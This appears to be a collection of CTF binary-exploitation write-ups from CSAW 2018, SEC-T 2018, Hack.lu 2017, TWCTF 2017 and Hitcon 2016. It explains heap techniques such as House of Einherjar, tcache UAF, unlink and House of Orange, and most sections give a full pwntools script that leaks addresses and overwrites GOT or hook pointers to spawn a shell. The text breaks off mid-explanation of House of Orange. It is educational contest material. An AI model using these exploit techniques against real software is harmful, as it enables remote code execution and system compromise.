CSAW CTF Quals 2018 AlienInvasion Writeup

Challenges involving House of Einherjar are usually a hassle because of all the calculations involved. However, this post should serve the purpose of listing the basic requirements for an attack using the House of Einherjar.

The binary employs almost all protections except for FORTIFY and FULL RELRO. Additionally, the binary contains a bit of code which saves the original malloc and free hooks at the start of the main function. And the binary checks these values every now and then to make sure that it wasn’t corrupted. So basically, a fastbin attack to the malloc_hook is out of the question for now.

There are two structures used by the binary. One to represent a samurai and the other to represent an alien. Both these type of structures have their own respective tables in the bss which is capable of storing up to 256 objects each. The binary also contains an array which stores upto 256 names of swords with each name being at most 8 bytes in length.

The samurai structure looks like this :

struct samurai {
char *sword;        // This points to an entry in the swords table in the bss
int x;                      // I have no idea what purpose this value serves
}

And the structure used to describe an alien looks like this :

struct alien {
char *name;         // This points to a chunk that will be allocated on the heap.
int y;                      // Again, a complete waste of space.
}

The binary first allows us to create or remove samurai objects. Each time we create a samurai object, we are asked to enter an 8 character name for the sword which is saved in the swords table.

Once we’re done creating and removing samurai’s to our hearts content, we can then create, remove or rename aliens. Keep in mind that we can’t go back to creating samurais once we’ve reached here.

While creating an alien, the binary asks us to specify the length of the name which is then used in a call to malloc. The vulnerability also lies in the fact that the binary tries to null out the byte right after our input ends.

Screenshot from 2018-09-17 15-09-44

This can be used to create a single null byte overflow.

Another vulnerability lies in the functionality which allows us to rename an alien. Renaming only allows you to edit the first 8 bytes of the name, but before requesting a new name, it prints out the old name. This is pretty much the only place in the binary where a call is made to printf with a format string that contains a %s.

But the vulnerability in this function is that it does not verify the index that the user provides.

Screenshot from 2018-09-17 15-15-30

If we were still able to create samurai’s, we could’ve used this vulnerability. But I couldn’t find any other use for this vulnerability in the situation.

So, the only useful vulnerability we have is the single null byte overflow. But that’s all we need to pwn this binary.

The rest of this post is going to be a quite detailed description of the House of Einherjar and how to use it in this scenario. So, if you’re already familiar with it, you can scroll down and skip it.

A single null byte overflow can be leveraged to flip the PREV_INUSE bit of a chunk. In order to do that, an ideal size of the target chunk would be 0xf0. And if you look at the metadata of this chunk, the size field would contain the value 0x101. This is the ideal case because, if the size of the chunk was 0x100, the metadata would be 0x111 which when overwritten with the null byte would become 0x100. And when free tries to look for the chunk that lies immediately after this target, it won’t find it since free is looking at an offset of 0x100 instead of 0x110.

Now, with the PREV_INUSE bit set to 0, free understands that the preceding chunk is free and the current chunk (target) is to be freed. Therefore, free will try to merge the previous and the current chunks. In order to locate the preceding chunk, free uses the PREV_SIZE field of the target chunk to locate the preceding chunk. The actual code looks like

#define prev_chunk(p) ((mchunkptr) (((char *) (p)) – prev_size (p)))

Now here’s the interesting bit.

The PREV_SIZE field of a chunk is only used if the preceding chunk is free. Which also means that, the PREV_SIZE field is basically useless if the preceding chunk is not free.

Therefore malloc tries to make use of this situation by allowing in-use chunks to use the PREV_SIZE field of the next chunk. When you allocate a chunk of size 0x80, the size field of the chunk would be 0x91. However, if you allocate a chunk of size 0x88, the size field is still 0x91. In this situation, the last 8 bytes of this chunk would actually be the PREV_SIZE field of the next chunk. Keep in mind that this PREV_SIZE is useless unless the preceding chunk is free.

Now, if we were able to flip the PREV_INUSE bit of the next chunk, whatever value we store in the PREV_SIZE field ( ie the last 8 bytes of our input) would be considered and used in the macro as above.

This is where we use the null byte overflow.

So what we need is two chunks adjacent to each other. The first one which is created with a size that ends in 8 (say 0x28) and the second one which is created with a size of 0xf0 (for the 0x100 thingy).

Great, now we know that we are supposed to flip the PREV_INUSE bit so that the PREV_SIZE field will be used. The next thing is to decide what the PREV_SIZE field is going to be.

Since we are going to be merging a chunk with another chunk that was already freed, the latter will need to be unlinked from its respective linked list and the final, merged, chunk has to be added into its respective linked list. Thus, the unlink macro gets invoked here on the preceding chunk. We need to set the PREV_SIZE field so that we pass all the checks in the unlink macro. The most important would be this

FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (“corrupted double-linked list”);

One way to do this would be to make sure that the preceding chunk contains two pointers that point to itself.

Untitled drawing

Since we do not know the address of the heap yet, this is not possible.

The next idea would be to just use a chunk that is already in a linked list and set the PREV_SIZE so that the prev_chunk macro points to this (already freed) chunk.

Therefore, unlinking the latter wouldn’t cause any carnage.

Great. So our idea is to create a chunk that gets freed and put into the linked list. And then set the PREV_SIZE of the target chunk so that the prev_chunk macro points to the first chunk.

Implementing this leads to a small hiccup. Whenever you create an alien, the first thing that gets allocated is the alien structure. Therefore, if you were to create an alien with a name that is 0x28 bytes long followed by an alien whose name is 0xf0 bytes long, the heap would look like this.

Untitled drawing

So, the null byte would just flip the size field of the Alien2 which doesn’t do anything useful for us.

But, there is a way to bypass this problem. Suppose we create an alien with a name that is 0x10 bytes long. Both the alien object and the name chunk would have a size field which reads 0x21.

Untitled drawing (1)

If we free this alien first, both the chunks go into the fastbin of size 0x20. Now, allocating Alien1 and Alien2 with sizes of 0x28 and 0xf0 would result in something that looks like this.

Untitled drawing

And with that we can use the null byte to wreak all havoc using the steps described above.

So, once we free the second alien, we get a gigantic chunk that overlaps the Alien1 object and its Name1 chunk.

Now we can start to perform the tweaks needed to get some memory leaks. Once we get this gigantic chunk, it will contain pointers (BK and FD) that point to the libc. Our objective is to leak those pointers.

And in order to do that, we will request some memory which will shrink this gigantic chunk so that the new, smaller free chunk will overlap with a name chunk of some alien.

Untitled drawing

Keep in mind that in the above picture, everything from the Free chunk up until the Name2 is one gigantic free chunk that we created using the House of Einherjar. That after allocating some memory would become something like this :

Untitled drawing (1)

So the Free chunk (or what’s left of it) overlaps the Name4 chunk. And the BK of this free chunk will be first 8 bytes of the Name4. So, renaming the Alien4 would leak out this memory.

And thus we have a libc leak.

We could’ve stopped here and gone ahead with a fastbin attack to overwrite the malloc_hook, but since there are mitigations to prevent that, we have to get more leaks.

What is required is to get a leak of the binary. One way to do that would be to change the name pointer of an alien object to point to a samurai object which contains a bss address.

But in order to do that, we need to be able to change the name pointer of an alien object somehow.

Here, we use the shrinking technique again. This time the difference is that we shrink it so that the allocated chunk overlaps with an alien object. This results in a situation as follows :

Untitled drawing

Thus we can use the rename functionality on the Alien6 to overwrite the name pointer of the Alien4.

Armed with this, we can now change the name pointer of Alien4 to get some memory leaks. Firstly, in order to get a leak of the heap, rename Alien6 (which will change the name pointer of Alien4) and point it to the libc’s main arena which will contain a heap address.

And then renaming the Alien4 prints out this heap address.

Repeat the process and change the name pointer of Alien4 to point to the samurai object and leak that out to get the binary’s base address.

Now, all that is left is to change the name pointer once again and make it point to the GOT table.

And then, change the GOT table entry of strtoul to system, send the string ‘sh;’ and wait for a shell.
 

from pwn import *


def create_samurai(name):
    p.sendlineafter('Daimyo, nani o shitaidesu ka?', '1')
    p.sendlineafter("What is my weapon's name?", name)


def kill_samurai(idx):
    p.sendlineafter('Daimyo, nani o shitaidesu ka?', '2')
    p.sendlineafter('Which samurai was dishonorable O lord daimyo?', str(idx))


def done():
    p.sendlineafter('Daimyo, nani o shitaidesu ka?', '3')


def create_alien(name, size):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '1')
    p.sendlineafter('How long is my name?\n', str(size))

    if len(name) < size:
        name += '\n'
    p.sendafter('What is my name?\n', name)


def remove_alien(idx):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '2')
    p.sendlineafter('Which alien is unsatisfactory, brood mother?\n', str(idx))


def rename_alien(idx, name, flag=False):
    p.sendlineafter('Brood mother, what tasks do we have today.\n', '3')
    p.sendlineafter('rename?\n', str(idx))
    p.recvuntil('to rename ')
    if flag is True:
        leak = u64(p.recv(6).ljust(8, '\x00'))
    if len(name) < 8:
        name += '\n'
    p.sendafter(' to?\n', name)
    if flag is True:
        return leak


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote('pwn.chal.csaw.io', 9004)
    else:
        p = process('./aliensVSsamurais', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF("./libc.so.6")
    e = ELF("./aliensVSsamurais")

    # A samurai object contains a pointer to
    # the bss. We'll leak it later.
    create_samurai('blah')
    # We need two objects because the swords
    # table lies at an address that starts with
    # a null byte. So, we leak the second one.
    create_samurai('bleh')
    done()

    create_alien('a0', 0x10)

    # We'll create a smallbin chunk which will
    # be coalesced later on
    create_alien('a1', 0x80)

    # One chunk to leak libc
    # The second to leak heap and bss
    create_alien('a2', 0x20)
    create_alien('a3', 0x20)

    # This puts two chunks of size 0x21 into the fastbins
    remove_alien(0)

    # first chunk gets used here
    create_alien('a4', 0x28)

    # second chunk gets used here
    # Now the name chunks of the two aliens are adjacent.
    create_alien('a5', 0xf0)

    # Prevent merging with top chunk
    create_alien('a6', 0x20)

    # Put the chunk into the smallbin
    remove_alien(1)

    # we'll allocate this right afterwards
    remove_alien(4)

    prev_sz = 0x90+0x30+0x50+0x50
    payload = fit({0x20: p64(prev_sz)})
    # Null byte overwrite happens here 
    create_alien(payload, 0x28)

    # Trigger backward coalescing
    remove_alien(5)

    # Shrink the large overlapping chunk
    create_alien('a8', 0x80)
    create_alien('a9', 0x60)

    # The chunk in the smallbin now overlaps
    # with the name chunk of the third alien
    libc.address = rename_alien(3, '', flag=True) - 0x3c4b78
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    # Leak the heap from the main arena 
    target = libc.address + 0x3c4b78
    system = libc.symbols['system']

    # The name chunk of the 9th alien overlaps with 
    # the second alien object. So renaming the 9th
    # alien changes the pointer of the second alien
    rename_alien(9, p64(target))

    heap = rename_alien(2, '', flag=True) - 0x1770
    log.success("Leaked heap @ {}".format(hex(heap)))

    # Leak the binary from the second samurai object
    target = heap + 0x1450

    # Same process repeated
    rename_alien(9, p64(target))

    e.address = rename_alien(2, '', flag=True) - 0x202708
    log.success("Leaked base @ {}".format(hex(e.address)))

    # Fairly self explanatory
    rename_alien(9, p64(e.got['strtoul']))
    rename_alien(2, p64(system))
    p.sendline('sh;')
    p.recvline()
    p.interactive()

CSAW CTF Quals 2018 Turtles writeup

I gotta say, the binary challenges for this year’s  CSAW are a tremendous improvement over the last year’s. I just had to say that much. Well done admins!

The binary looks a bit intimidating at first sight because it uses a couple of functions which I hadn’t heard of before. I googled the functions and came to know that it is related to Objective C. However, it turns out that you don’t need to know anything about Objective C in order to pwn this binary.

The interesting bit of code starts at main+163 where the binary prints out a heap address.

The address being printed is the address of the object that is created and used by the Objective C functions.

The binary then reads in 2064 bytes of user input into a stack buffer. (No overflow there). It then copies 200 bytes of that input and overwrites the object with a call to memcpy.

The binary then calls a function objc_msg_lookup which takes in the object and a table as arguments and returns a function pointer. This function pointer was then executed by the binary immediately afterwards. So, my plan of exploit was to control the function pointer being returned.

Going through the assembly code of this objc_msg_lookup, we see that there are a couple of checks being performed on the arguments. If you satisfied enough of those, the function would return *(*(*((*obj)+0x40)+0x8)) which can be controlled.

The only value that was being used in a comparison is located at an offset of 0x28. So, I decided to replace almost every other pointer with the start address of the object itself. So, in essence, the value that would be used in the comparison would be located at obj+0x28.

Once you’ve done all that, you can successfully control the function pointer which is going to be called. Great. Now what ?

Now comes the part where we decide what the function is going to be.

At the point where the function pointer is invoked, we can see that the stack contains a few bits an pieces of the 2064 byte input that we gave. So, what I did was to use a ROP gadget to pop 6 times and then execute a ret instruction.

This ended up leaving the stack pointer in the buffer used for input. However, the first couple of bytes of the input are specially designed to control the function pointer, and therefore have to be skipped. So, I decided to insert the same pop_6_ret gadget again so that the stack pointer moves above all the values that are being used by the objc_msg_lookup function.

And now I have enough space to create a ROP chain.

The ROP chain basically prints out the GOT table entry of the read function and then goes back to main.

Now, I used all the previous steps once again to execute another ROP chain. This one would execute a pop_rdi_ret which would populate the RDI register with a pointer to the string “/bin/sh” and then calls the function system.

I ran into a couple of issues when trying to get the offset of system from read because the libc wasn’t provided at the start. When that didn’t work, I resorted to using syscalls to pop a shell. I figured that there’d be a syscall instruction at read+14 in every libc. But that didn’t work for some reason. Finally, the admins uploaded the libc and all was good.

from pwn import *

main = 0x400b84
pop_6_ret = 0x00400d3a
pop_rdi_ret = 0x00400d43
HOST, PORT = 'pwn.chal.csaw.io', 9003


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote(HOST, PORT)
    else:
        p = process('./turtles')

    e = ELF('./turtles')

    p.recvuntil('Here is a Turtle: ')
    heap = int(p.recvline().strip(), 16)
    log.success("Heap @ {}".format(hex(heap)))

    read_got = e.got['read']
    printf_plt = e.plt['printf']

    # First thing to do is to leak libc
    # Then return back to read in second payload
    rop_chain = ''
    rop_chain += p64(pop_rdi_ret)
    rop_chain += p64(read_got)
    rop_chain += p64(printf_plt)
    rop_chain += p64(main)

    fake_chunk = fit({0: p64(heap),
                     0x8: p64(heap+16),
                     0x10: p64(pop_6_ret),
                     0x18: p64(pop_6_ret),
                     0x28: p64(0),
                     0x40: p64(heap),
                     0x50: rop_chain}, length=0x800)
    p.sendline(fake_chunk)

    # Leaks
    read = u64(p.recv(6).ljust(8, '\x00'))
    log.success("Leaked read @ {}".format(hex(read)))
    system = read + 0xd10
    log.success("System @ {}".format(hex(system)))

    # I was too lazy to calculate the new object's address
    p.recvuntil('Here is a Turtle: ')
    heap = int(p.recvline().strip(), 16)

    # Let's call system
    rop_chain = ''
    rop_chain += p64(pop_rdi_ret)
    rop_chain += p64(heap+0x48)
    rop_chain += p64(system)

    fake_chunk = fit({0: p64(heap),
                     0x8: p64(heap+16),
                     0x10: p64(pop_6_ret),
                     0x18: p64(pop_6_ret),
                     0x28: p64(0),
                     0x40: p64(heap),
                     0x48: '/bin/sh\x00',
                     0x50: rop_chain}, length=0x800)
    p.sendline(fake_chunk)

    # Here you go
    p.interactive()

 

SEC-T CTF 2018 Hof Write-up

Let’s get right into it.

The binary maintains a structure that looks something like this :

struct user {
int idx;
int cash;
char name[48];
char *desc;
}

Every time a new object of this structure is created, it is added into a table.

Reversing the binary was a bit of a pain, since they had gone out of their way to make simple tasks as complicated as possible.

In order to copy data to the name buffer, the binary used the xmm0 register to copy 16 bytes at a time. And in order to calculate the length of the input string, there was a complicated set of bitwise operations which I didn’t bother to go into. I found that it eventually calculated the length of the input and that was all I needed.

The binary does allow a functionality to create an alias for a user.

If an alias is set, then a pointer to this user object is saved in another object which looks something like this.

struct alias {
user *user_obj;
char alias[16];
}

This object, if created, is then added into another table.

The vulnerability here lies in the fact that removing a user only removes the object from the table of users. The table of alias’s will still contain a pointer to the (removed) user object.

Choosing a user object, for manipulation, can be done via either its index in the table of users or its alias.

In order to get leaks, all that is needed is to create such a UAF situation and then print out the contents of the object which will leak out the heap and the libc addresses.

Once we have the leaks, we can start with the actual exploit.

The binary uses the newer libc which contains the tcache functionality. In order to make it clear to everyone ( and as a self note to myself), removing a chunk from the tcache list does not check perform any checks. So, it possible to get a chunk allocated basically anywhere.

So, in order to exploit the UAF, all that is required is to overwrite the FD of a chunk in the tcache with the address of the __free_hook. The second allocation after this returns a pointer to the __free_hook which we can overwrite with a one-shot-RCE gadget.

I did think about overwriting the __free_hook with system instead of an RCE gadget since that would be more reliable. But neither of the objects contain strings in the first 8 bytes.

Anyways, I’ve left out most of the low level details and issues I ran into while creating the exploit.

But the script does contain enough comments to fix that if anyone is interested in trying out the challenge.

from pwn import *

prompt = ' > '
context.terminal = 'bash'
HOST, PORT = '142.93.39.178', 2024


def create(name, desc, alias=''):
    p.sendlineafter(prompt, 'create '+alias)
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Desc: ', desc)


def update(name, desc, cash, alias='', idx=0):
    p.sendlineafter(prompt, 'update '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Name: ', name)
    p.sendlineafter('Desc: ', desc)
    p.sendlineafter('Cash: ', str(cash))


def remove(alias='', idx=0):
    p.sendlineafter(prompt, 'remove '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))


def show(alias='', idx=0):
    p.sendlineafter(prompt, 'show '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.recvuntil('  Index: ')
    idx = int(p.recvline().strip())
    p.recvuntil('  Name:  ')
    name = p.recvline().strip()
    p.recvuntil('  Desc:  ')
    desc = p.recvline().strip()
    p.recvuntil('  Cash:  $')
    cash = int(p.recvline().strip())
    return idx, cash, name, desc


def award(cash, alias='', idx=0):
    p.sendlineafter(prompt, 'award '+alias)
    if alias == '':
        p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Cash: ', str(cash))


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote(HOST, PORT)
    else:
        p = process('./hof', env={"LD_PRELOAD": './libc.so.6'})

    libc = ELF('./libc.so.6')

    # Create 7 chunks which go into the tcache
    for x in xrange(7):
        create('x', 'y'*0x80, str(x))

    # the object that will be the target of the UAF
    create('A', 'B'*0x80, 'test')
    # Just to prevent the previous chunk from being merged 
    # with the top chunk
    create('C', 'D')

    # Populating the tcache
    for x in xrange(7):
        remove(idx=x)

    remove(idx=8)
    # UAF happens here
    remove(idx=7)

    # leak it all
    idx, cash, _, desc = show('test')

    heap = idx + (cash << 32) - 0x1970
    libc.address = u64(desc.ljust(8, '\x00')) - 0x3ebca0
    log.success("Leaked heap @ {}".format(hex(heap)))
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    free_hook = libc.symbols['__free_hook']
    gadget = libc.address + 0xe5858
    log.success("Hook @ {}".format(hex(free_hook)))
    log.success("Gadget @ {}".format(hex(gadget)))

    # Now for the exploit
    # The object that will become the target of this UAF
    create('A', 'B', 'junk')
    # Just to populate the FD of the target chunk
    create('C', 'D')

    remove(idx=10)
    remove(idx=9)

    # Overwrite FD to __free_hook
    update('A', p64(free_hook)[:6], 999, alias='junk')

    # We screw up the FD when we update the chunk
    # Making sure that the next malloc doesn't segfault
    for x in xrange(cash/999-1):
        award(999, alias='junk')
    award(cash%999 , alias='junk')

    create('X', 'Q')

    # This is going to be our free_hook
    create('Z', p64(gadget), 'exploit')

    # Trigger the one shot RCE gadget
    remove('exploit')

    p.interactive()

Hack.lu 2017 HeapHeaven Write up

I was busy with some other stuff and didn’t get a chance to try out this challenge. One of my team-mates was trying it out, but he couldn’t finish the exploit in time.

So, I tried the challenge after the CTF and here’s the write up.

Here’s the protections enabled on the binary

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

This is again a menu driven program that allocates chunks on the heap with functionalities like add, remove, edit and view.

The program starts off by allocating a chunk of size 10 on the heap whose address is stored in a global variable.

The peculiarity of this binary is that it uses a parse_num function to get integer values from the user. The parse_num function parses a 256 length string and returns a 64 bit value.

It does this by using a counter to count the number of some characters are present in the string. If the character ‘w’ is present in an even offset, then the value of counter is doubled. And if the character ‘i’ is present at an odd offset, right after ‘w’, then the counter is incremented by 1. Using a combination of ‘w’ and ‘i’, we can control the return value of parse_num.

Now, the other peculiarity of this binary is that, it reads in input by asking an offset from the user. The input is being read in by a function that is similar to a gets function. The offset is taken from the first chunk that was allocated and stored in the global variable.

Similarly, the view functionality prints out a string at an offset specified by the user and the remove functionality free’s a chunk at an offset which is user specified.

Since parse_num returns a 64 bit value, we can access any address in the process’s memory space provided we have some memory leaks first.

Getting memory leaks in this case shouldn’t be an issue.

Once we have a memory leak of the heap and the libc, we can calculate the offset to __free_hook and edit its value to system.

Once that is done, all that’s left is to free a chunk which contains ‘/bin/sh’ which will lead to system being invoked with the same.

Here’s the script.

from pwn import *

prompt = 'NOM-NOM\n'
a, v, e, r = 'whaa!', 'mommy?', '<spill>', 'NOM-NOM'


def get_string(size):
    payload = ''
    val = size
    while val > 0:
        if val % 2 == 0 and val/2 > 0:
            payload += 'aw'
        elif val % 2 == 1 and val/2 > 0:
            payload += 'iw'
        val = val/2
    payload += 'iw'
    retval = payload[::-1]
    if retval[-1] == 'a' and retval[-2] == 'w':
        retval = retval[:-1]
    return retval


def allocate(size):
    p.sendlineafter(prompt, a)
    p.sendlineafter('darling...\n', get_string(size))


def view(offset):
    p.sendlineafter(prompt, v)
    p.sendline(get_string(offset))
    p.recvuntil('darling: ')
    return p.recvline().strip('\n')


def edit(offset, payload):
    p.sendlineafter(prompt, e)
    p.sendlineafter('?\n', get_string(offset))
    p.sendlineafter('!\n', payload)


def remove(offset):
    p.sendlineafter(prompt, r)
    p.sendline(get_string(offset))


if __name__ == '__main__':
    p = process('./HeapHeaven', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
    allocate(10)
    allocate(0x80)
    allocate(10)
    remove(0x20)
    remove(0x40)
    remove(0xd0)
    heap = u64(view(0xd0).ljust(8, '\x00')) - 0x10
    log.success('Leaked heap @ {}'.format(hex(heap)))
    libc.address = u64(view(0x40).ljust(8, '\x00')) - 0x3c4b78
    log.success('Leaked libc @ {}'.format(hex(libc.address)))
    offset = libc.symbols['__free_hook'] - heap
    log.progress('Offset => {}'.format(hex(offset)))
    allocate(10)
    edit(0xd0, '/bin/sh\x00')
    edit(offset, p64(libc.symbols['system']))
    remove(0xd0)
    p.recvline()
    p.interactive()

TWCTF 2017 simple note writeup

During the CTF, simple_note and simple_note_v2 were released. I’ll be explaining the first one here.

Initial analysis reveals that PIE and FORTIFY are disabled and everything else is enabled.

The binary is a menu driven program that allows us to add, view, edit and remove notes. Each note is a buffer that is allocated on the heap of user determined size. The only constraint of the size is that it must be greater than 127 bytes.

The indexes are properly checked to prevent out of bounds access.

The input isn’t null terminated, so we can leak out data from the heap. Using this, we can leak out the address of the main arena and the heap.

The vulnerability in this binary is a buffer overflow in the edit functionality.

The code is something like this

len = strlen(list[idx]);
read_string(list[idx], len);

The prev_size field of a chunk is only used if the previous chunk is free. Otherwise, it can be used for other purposes such as storing some sort of data. This is a feature of malloc which makes sure that the amount of memory that goes unused is minimal. So in such a situation, the user input will end just before the size field of the successor chunk.

1

We can force such a situation to occur by requesting 0x88 bytes. The size of the chunk returned will be 0x91. Subtracting 16 bytes for the metadata, we’re left with 0x80 bytes where we had requested 0x88 bytes. The remaining 8 bytes will be the prev_size field of the chunk that lies next to this one.

So, when we use the edit functionality, strlen will add the length of the size of the next chunk along with the length of user input. And we can edit the size field of the next chunk.

Cool. So what now ?

My first thought was to try the House of Einherjar and get a chunk allocated in the BSS section. But the binary was not storing input anywhere other than the heap. So that was out of the question.

However, using the House of Einherjar, we would be able to get a chunk that overlaps other chunks. (This is one method to do this. You can achieve the same by tweaking the size field of a chunk and freeing it)

My next idea was to use this overlap to corrupt the fd and bk pointers of a free chunk to perform a House of Orange attack. But for that to work, the final request to malloc should be of size lesser than 0x80 which is not allowed by the binary. So that is another dead end.

And that is where I got stuck during the CTF. After the CTF, I read some writeups and got the idea behind the exploit.

We can modify the fd and bk pointers of a free chunk to point to the table of notes in the bss.

The only requirement is that the sanity check that was introduced to prevent the unlink corruption.

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, “corrupted double-linked list”, P, AV);

So, FD+0x10 should contain a pointer to P and BK+0x18 should also contain a pointer to P.

The table only contains pointers to chunks that are in use. So, that means, we’d have to trick malloc into thinking that an in use chunk is free.

Here, we use the overflow for a second time.

We edit the size field of an in use chunk and unset the PREV_INUSE bit. Now since the previous chunk is indicated as free, the prev_size field has to be properly set.

We can set it to a value such that P-prev_size is user controllable and such that the table contains a pointer to P-prev_size.

We can set the prev_size field such that P-prev_size points to the data section of the overlapping chunk.

And in the data section, we create a fake chunk with fake prev_size, size, fd and bk values.

Assume the table contains the pointer to this chunk at an address x.

The fd of this fake chunk should be x-0x10 and bk should be x-0x18.

Now, freeing the small chunk would cause backward coalescing which in turn invokes the unlink macro which performs our overwrite.

Once that is done, one of the entries in the table should be a pointer to an address in the table.

We can use the edit functionality to modify the entry to point it to the GOT table.

And use the edit functionality on this edited entry to overwrite a GOT entry with the address of system.

You might have to try this out to understand the working.

Here’s the script anyways

from pwn import *

prompt = "Your choice: "
add, delete, show, edit = "1", '2', '3', '4'
table = 0x6020C0

def add_note(size, payload):
    p.sendlineafter(prompt, add)
    p.sendlineafter("size: ", str(size))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

def delete_note(idx):
    p.sendlineafter(prompt, delete)
    p.sendlineafter("index: ", str(idx))

def show_note(idx):
    p.sendlineafter(prompt, show)
    p.sendlineafter("index: ", str(idx))
    p.recvuntil("Note: \n")
    p.recvline()
    note = p.recvline().strip()
    return ("\x00"+note).ljust(8, '\x00')

def edit_note(idx, payload):
    p.sendlineafter(prompt, edit)
    p.sendlineafter("index: ", str(idx))
    if len(payload) < size:
        payload += "\n"
    p.sendafter("note: ", payload)

if __name__ == "__main__":
    if sys.argv[1] == "local":
        p = process("./simple_note", env={"LD_PRELOAD": "./libc.so.6"})
    else:
        p = remote("pwn1.chal.ctf.westerns.tokyo", 16317)
    libc = ELF("./libc.so.6")
    e = ELF("./simple_note")
    #
    # First, let's start with the leaking
    #
    add_note(0x88, 'A'*0x80)
    add_note(0x88, 'A'*0x88)
    delete_note(0)
    add_note(0x88, 'A'*8)
    libc.address = u64(show_note(0)) - 0x3c4b00
    log.success("Leaked libc @ {}".format(hex(libc.address)))
    #
    # Now let's create a few chunks
    #
    for x in xrange(4):
        add_note(0x88, 'A'*0x88)
    #
    # Use the single byte overflow to corrupt size field
    #
    edit_note(1, 'A'*0x88+'\xf1')
    #
    # Make sure that there is a valid chunk at the end of this corrupt chunk
    #
    payload = fit({0x50: p64(0)+p64(0x21),
                   0x70: p64(0)+p64(0x21)})
    edit_note(3, payload)
    #
    # Free the corrupted chunk
    #
    delete_note(2)
    #
    # Now we get that chunk allocated back to us
    # There is a pointer to the data section of this chunk in the table
    # We can set up a fake chunk in the data section.
    # And use the pointer in the table as a fake fd and bk pointer
    # So table+0x18 will be overwritten with table
    #
    payload = fit({0x90: p64(0)+p64(0x111)+p64(table)+p64(table+8)})
    add_note(0xe8, payload)
    #
    # Unset the prev_inuse to force coalescing
    # Which will lead to unlinking
    #
    payload = fit({0x80: p64(0x110)+'\x90'})
    edit_note(4, payload)
    #
    # Now trigger the unlink by freeing the chunk
    #
    delete_note(5)
    #
    # Now table+0x18 has been overwritten with the base address of the table
    # We can now edit the first pointer in the table
    #
    edit_note(3, p64(e.got['free'])[:4])
    #
    # Now editing the contents of the first table entry
    # Allows us to overwrite the GOT table
    #
    edit_note(0, p64(libc.symbols['system'])[:6])
    #
    # Just create one more chunk to be free'd immediately
    #
    add_note(0x80, '/bin/sh\x00')
    #
    # Trigger system by calling free
    #
    delete_note(5)
    p.interactive()

Hitcon 2016 House of Orange Writeup

I didn’t get a chance to play the CTF and managed to solve the challenge only very recently. I did have to read the write up first to understand the idea behind the exploit.

The idea behind the exploit is really cool and I wanted to share that.

So here it goes.

As always, check the protections enabled on the binary first.

$ checksec houseoforange
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL

Well, nothing much to say here.

Moving on the the functioning of the binary, it has got three primary functions. Namely, build, upgrade and see.

Each house is an object of size 0x10 and looks like this

struct house {
char *ptr
char *name;
}

While building a house, the values of price and color are taken from user input. These are stored in a chunk of size 8 ie the ptr attribute. Then a chunk of user given size is malloced and data is read into it. This is the name attribute of the object. The size of the name can be a maximum of 0x1000.

A global variable keeps count of the houses created. We can create a maximum of 4 houses.

A global pointer is used to point to the last house created.

In the upgrade function, we are allowed to edit the price, color and name of the last created house.

In this function, we have a buffer overflow while editing the name of the house.

A global variable is used to keep count of the number of times a house has been edited. This variable is initialized to 0 every time a new house is created.

The see functionality allows us to view the contents of the house object pointed to by the global pointer.

Now on to the exploit method.

Since we do not have a call to free anywhere, we can’t perform any of the usual methods of heap exploitation such as fastbin corruption, House of Einherjar etc.

Also, since there is an upper bound on the size that gets passed to malloc, we cannot use the House of Force in this situation.

So, let’s get started with the idea of the House of Orange.

In a situation where the size of the top chunk is smaller than the requested size, the top chunk gets extended through a call to a function called sysmalloc. Once the top chunk is extended, sysmalloc calls _int_free to free the remaining part of the old top.

So, our idea is to first make the call to _int_free happen.

For that, we need to make sure that the size of the top chunk is smaller than 0x1000.

We can use the overflow in the upgrade functionality to do that.

There are a few conditions that need to be met first.

  1. The size of the top chunk should be larger than 0x10 and smaller than 0x1000.
  2. The prev_inuse bit of the top chunk should be set.
  3. top + top_size should be page aligned.

The top chunk is usually allocated with 0x21000 bytes.

If the size of the top chunk at a point is 0x20f01, we can overwrite that with 0xf01 which satisfies all the requirements.

After we corrupt the top chunk, we need a call to malloc to trigger the call to sysmalloc and eventually the call to _int_free.

Once that’s done, the old top chunk will be added to the free list and the pointer which we get from malloc will be in a new page.

The next allocation, if of appropriate size, will be placed in this chunk that is present in the free list.

Since the chunk in the free list contains pointers to the main arena, we can leak them out using the see functionality to get a libc leak.

And we have a pointer to the heap right after the fd and bk pointers which we can leak out after filling the first 16 bytes using the upgrade and see functionalities.

So, next comes the interesting part.

When malloc detects an error in the linked lists, like a corrupted fd and bk pointers, it aborts and calls a function _IO_flush_all_lockp.

This function is used to close all the file pointers such as stdout, stderr etc.

It does the same by using a global pointer called _IO_list_all that contains the pointer to the stdout file pointer.

The file pointer structures contain a pointer to the next file pointer. The function uses this to iteratively close all the file pointers used.

Now, these file pointers have jump tables that are used if some pre-conditions are met.

So, the idea is to overwrite the _IO_list_all pointer and point it to a location we control.

It’s not really possible with the scenario we have to do the same.

However, we can make sure that one of the file pointers used while iterating will be a memory area that we control.

The idea is to overwrite the _IO_list_all with a pointer to the main_arena.

By correctly setting the size of the chunk in the free list, we can make sure that the next file pointer accessed will be the chunk in the free list.

So, in order to overwrite the _IO_list_all with a pointer to the main_arena, we use the unlink vulnerability.

When a chunk in the free list is to be splitted off to service a malloc request, the code that gets executed is as follows

unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

